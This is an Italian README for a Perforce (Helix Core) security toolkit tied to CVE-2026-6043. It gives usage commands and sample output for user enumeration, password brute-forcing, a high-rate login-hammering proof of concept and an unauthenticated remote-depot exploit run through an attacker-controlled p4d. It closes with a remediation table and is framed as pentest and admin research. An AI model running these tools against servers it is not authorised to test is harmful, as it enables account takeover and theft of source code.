
Ricerca sulla sicurezza di Perforce e strumenti - CVE-2026-6043
Strumenti di ricerca sulla sicurezza di Perforce (Helix Core) e nuclei templates.
Articolo di ricerca: https://morganrobertson.net/p4wned/
Leggi il link sopra per i dettagli completi.
Solo destinazioni autorizzate. Usalo sui tuoi server o con esplicita autorizzazione scritta.
Destinatari: Amministratori di server Perforce, penetration tester, ingegneri della sicurezza
Aggiornamento maggio 2026: Perforce 2026.1 è stato rilasciato. Questa versione include impostazioni predefinite sicure! Siamo molto soddisfatti di questo rilascio per proteggere la proprietà intellettuale degli sviluppatori. Leggi di più qui.
Nota: Questi strumenti cercano le configurazioni errate risultanti da CVE-2026-6043.
| Strumento | Richiede |
|---|---|
p4wned.py | Python 3, binario CLI p4 (vedi sotto) |
p4ghost.py | Python 3, binario CLI p4, istanza p4d locale (vedi setup sotto) |
p4-auth-hammer | g++, API C++ di Perforce, OpenSSL 1.1.1 (vedi p4-auth-hammer/README.md) |
| Strumenti JavaScript | Node.js (nessuna dipendenza esterna) |
| Nuclei templates | Nuclei v3+ |
| Moduli Metasploit | Metasploit Framework |
Acquisizione del binario p4 (richiesto da p4wned.py e p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
I server Perforce espongono un protocollo TCP binario personalizzato (porta predefinita 1666). Molte installazioni vengono fornite con impostazioni predefinite insicure — elenco utenti non autenticato, divulgazione di informazioni del server, depo remoti accessibili, nessun requisito di password e nessuna limitazione del tasso di tentativi di accesso. Tutti gli strumenti qui sfruttano queste impostazioni predefinite senza richiedere credenziali.
Lo scanner principale. Utilizza il binario CLI p4 per enumerare gli utenti, testare le credenziali, elencare i depo e produrre un report.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Opzioni:
| Flag | Descrizione |
|---|---|
-brute | Abilita la modalità forza bruta — testa le password su tutti gli account utente scoperti |
-audit | Modalità di audit approfondita — continua a testare tutti gli utenti anche dopo aver trovato una vulnerabilità |
-parallel N | Numero di tentativi di password paralleli (predefinito: 1) |
Configurazione (modifica all'inizio dello script):
Cosa fa:
run.users.authorize=0)super sugli account compromessiOutput console:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
File report (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Testa l'accesso remoto non autenticato ai depo tramite l'utente nascosto remote. L'exploit funziona eseguendo un'istanza p4d locale controllata dall'attaccante — il server target si riconnette ad essa come parte del protocollo server-to-server, perdendo nel processo l'elenco dei file del depo.
Setup (una tantum):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argomenti:
Versioni interessate: Tutte le versioni precedenti alla 2025.1 con security < 4 (predefinito è 0).
Proof-of-concept che dimostra che p4d non limita efficacemente il tasso di tentativi di autenticazione quando security < 3. Raggiunge >300.000 tentativi di login al minuto contro un singolo account utilizzando l'API C++ di Perforce.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
Compilazione (richiede API C++ di Perforce e OpenSSL 1.1.1 — vedi p4-auth-hammer/README.md per il setup completo):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
Modalità:
security < 3). La limitazione del tasso viene completamente bypassata. >300.000 tentativi/min.-ticketauth: login basato su ticket (security >= 3). La limitazione del tasso (dm.user.loginattempts) è attiva a questo livello.Rileva automaticamente server SSL e unicode. Ottimizza automaticamente il numero di thread per la massima produttività.
Rimedio: p4 configure set security=3 (o 4). Vedi p4-auth-hammer/README.md per i dettagli completi.
Script Node.js autonomi. Nessuna dipendenza oltre alla libreria stdlib di Node.js. Tutti gli script rilevano automaticamente la modalità SSL vs TCP semplice e ASCII vs unicode del server — nessun flag richiesto.
Formato file target: host:port uno per riga, la porta predefinita è 1666 se omessa. Le righe che iniziano con # vengono ignorate.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
Rilevamento automatico: Viene prima tentato TCP semplice. Se il server risponde con il messaggio di errore SSL di Perforce ("Failed client connect, server using SSL"), la connessione viene ritentata su TLS con rejectUnauthorized: false (accetta certificati autofirmati). Viene prima tentata la modalità ASCII; se il server restituisce il messaggio di errore unicode, la connessione viene ritentata con il parametro unicode.
Sfrutta run.users.authorize=0 (predefinito) per elencare tutti gli account utente senza autenticazione.
node javascript/perforce-users.js [targets_file]
Output: [host:port] [tcp|ssl] username <email> "Full Name"
Sfrutta dm.info.hide=0 (predefinito) per estrarre versione del server, indirizzo interno, percorso root e stringa della licenza.
node javascript/perforce-info.js [targets_file]
Output:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
Trova account utente senza password impostata. Utilizza il formato di output con tag (parametro tag) per rilevare l'assenza del campo Password nei record utente. Gli account senza password consentono l'accesso diretto non autenticato.
node javascript/perforce-passwordless.js [targets_file]
Output: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
Sfrutta l'utente nascosto remote tramite l'RPC server-to-server rmt-DbPipe per leggere direttamente la tabella db.rev, estraendo percorsi di file del depo e numeri di change senza autenticazione. Versioni interessate: precedenti alla 2025.1 con security < 4.
node javascript/perforce-remote.js [targets_file]
Output:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Estrae valori di chiavi/contatori globali dai server Perforce. Le chiavi possono contenere numeri di build, stringhe di versione interne e configurazione.
node javascript/perforce-keys.js [targets_file]
Output: [host:port] [tcp|ssl] keyname = value
Template per Nuclei. Tutti i template utilizzano un passaggio gate TCP per confermare la presenza di un server Perforce prima di eseguire il payload JavaScript. I template utilizzano lo stesso approccio di rilevamento automatico degli strumenti JavaScript.
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| Template | ID | Descrizione |
|---|---|---|
perforce-detect.yaml | perforce-detection | Rileva server Perforce tramite handshake del protocollo binario. Severità: info. |
Limitazioni: Nessun supporto SSL, solo porta 1666. Vedi gli strumenti javascript per maggiori informazioni.
Tre moduli scanner ausiliari per Metasploit Framework, più una libreria mixin condivisa che gestisce il protocollo binario Perforce. Questi moduli coprono le stesse vulnerabilità degli strumenti autonomi sopra — enumerazione utenti, rilevamento account senza password e sfruttamento del depo remoto.
Tutti i moduli rilevano automaticamente la modalità server ASCII vs unicode. SSL è supportato.
| Modulo | Descrizione |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum |
I file sorgente si trovano nella directory metasploit/. È stata inviata una PR al Metasploit Framework.
Riferimento rapido ai rimedi:
| Variabile | Descrizione |
|---|
INPUT_FILE | Elenco target (ip:port, uno per riga) — predefinito perforce-servers.txt |
P4_CMD | Percorso del binario p4 — predefinito ./p4 |
TOP_PASSWORDS_FILE | Wordlist per forza bruta — predefinito top-passwords.txt |
KNOWN_CREDS_FILE | Coppie di credenziali note da provare per prime |
REPORT_FILE | Percorso del report di output |
| Flag | Descrizione |
|---|
input_file | Elenco target (ip:port, uno per riga) |
-skipnolicense | Salta i server che restituiscono Server license: none |
-report FILE | Percorso del report di output |
-p4cmd PATH | Percorso del binario p4 (predefinito ./p4) |
-unicodeport PORT | Porta p4d unicode locale da usare come server dell'attaccante |
-nonunicodeport PORT | Porta p4d non unicode locale |
-timeout SECS | Timeout del comando |
| Template | ID | Severità | CVSS | Descrizione |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Media | 5.3 | Elenco utenti non autenticato — server ASCII e unicode. Estrae nomi utente, email, nomi completi. |
perforce-info-disclosure.yaml | perforce-info-disclosure | Media | 5.3 | Divulgazione informazioni server — versione, indirizzo interno, percorso root, licenza. |
perforce-passwordless-users.yaml | perforce-passwordless-users | Critica | 9.1 | Trova account senza password impostata. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | Alta | 7.5 | Accesso remoto al depo tramite utente remote — server ASCII e unicode. Estrae percorsi file e numeri di change. Interessati: < 2025.1 con security < 4. |
| Elenco utenti non autenticato — estrae nomi utente, email, nomi completi e ultimi orari di accesso. |
auxiliary/scanner/perforce/perforce_passwordless | Rileva account senza password impostata. |
auxiliary/scanner/perforce/perforce_remote_depot | Enumerazione file depo remoto tramite l'utente nascosto remote. Interessati: < 2025.1 con security < 4. |
| Riscontro | Correzione |
|---|
| Enumerazione utenti | p4 configure set run.users.authorize=1 |
| Divulgazione informazioni | p4 configure set dm.info.hide=1 |
| Utenti senza password | Imposta password per tutti gli account; p4 configure set dm.user.noautocreate=2 |
| Accesso remoto al depo | Aggiorna a 2025.1+, oppure p4 configure set security=4 |
| Limitazione tasso di autenticazione | p4 configure set security=3 (abilita il blocco effettivo tramite dm.user.loginattempts) |
| Tutti i precedenti | p4 configure set security=4 più le singole impostazioni sopra — security=4 corregge l'exploit remoto ma non nasconde elenchi utenti o informazioni server |